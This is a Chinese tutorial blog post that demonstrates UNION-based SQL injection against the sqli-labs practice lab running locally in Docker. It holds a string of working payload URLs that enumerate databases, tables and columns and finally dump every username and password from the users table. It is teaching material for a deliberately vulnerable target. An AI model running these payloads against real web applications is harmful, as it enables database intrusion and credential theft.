手把手教你通過SQL注入盜取資料庫資訊

我們都是善良的銀!一生戎碼只為行俠仗義,知道這個不是為了做啥非法的事,只是知道小偷怎麼偷東西才能更好地防範。

SQL注入(SQL Injection),指將非法的SQL命令插入到URL或者Web表單中請求,而這些請求被伺服器認為是正常的SQL語句進行執行。

下面我們用sqli-labs這個開源項目來演示一下SQL注入盜取資訊的全程。
sqli-labs是一個sql注入的練習靶機,項目地址為:/sqli-labs

源碼是用php寫的,這裡我使用的是docker部署的,如下
這裡我是去store.docker.com搜索的鏡像使用://hub.docker.com/r/acgpiano/sqli-labs
運行

docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest

運行後打開//127.0.0.1:8089/,介面如下

這是一個闖關的課程,一個有22課,接下來我們只會用到Less-1來演示,也就是單引號注入,但是核心原理其實都是通過UNIONt和CONCAT出對應的數據盜取資訊。

更多技巧可以參考這篇文章:SQL注入篇——sqli-labs最詳細1-75闖關指南

打開://127.0.0.1:8089/Less-1/,看到如下內容

我們輸入id://127.0.0.1:8089/Less-1/?id=1,顯示了id為1的用戶

對應的php源碼是這樣的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

相當於最後sql變成了

SELECT * FROM users WHERE id='1' LIMIT 0,1

知其然也知其所以然,歐耶~

資料庫結構

資料庫是這樣的

注入示例

下面使用Less-1的單引號注入來演示一下盜取資訊的過程

我們把id改成:id=1' and 1=1 -- -,訪問

//127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -

可以正常訪問,說明可以用單引號注入,SQL語句相當於變成了

SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1

這就是傳說中的單引號注入,相當於構造出了下面這樣的語句

判斷共有多少欄位

UNION SELECT 1,user(),database()­­ -- -

通過orderby試探,order by是可以直接指定欄位的列來排序的,所以可以挨個試,
比如當我們使用order by 5,訪問

//127.0.0.1:8089/Less-1/?id=1' order by 5 -- -

報錯了,說明不對

當我們用order by 3的時候,正常返回了,訪問地址:

//127.0.0.1:8089/Less-1/?id=1' order by 3 -- -

正常返回了,說明欄位有3個。

判斷欄位的顯示位置

UNION SELECT 1,2,3 -- -

我們構造一下,訪問

//127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -


分別顯示2和3,說明登錄名和密碼欄位在2和3的位置

顯示登錄用戶和資料庫名

UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -

已經匹配出了欄位,接下來的所有用戶資訊都需要經過UNION相等的列來獲取,訪問

//127.0.0.1:8089/Less-1/?id='  UNION SELECT 1,database(),user() -- -

我們看到當前使用的資料庫名叫security,連接的用戶是root超管

查看所有資料庫名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

訪問

//127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

其實原理就是構造出了這樣的語句

我們看到了資料庫有information_schema、challenges、mysql、performance_schema、security

查看資料庫的所有表名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

訪問

//127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

訪問如下

我們看到有emails、referers、uagents、users這四個表

查看錶的所有欄位

UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

訪問

//127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

可以看到用id、username、password3個欄位

查看所有的用戶密碼

UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -

訪問

//127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -

用戶名和密碼全出來了,厲害了我的哥!

到這裡,我們就學會了怎麼把對方所有的隱私load出來了,有點可怕啊!你學會了嗎!以上內容由chenqionghe提供,light weight baby!

Tags: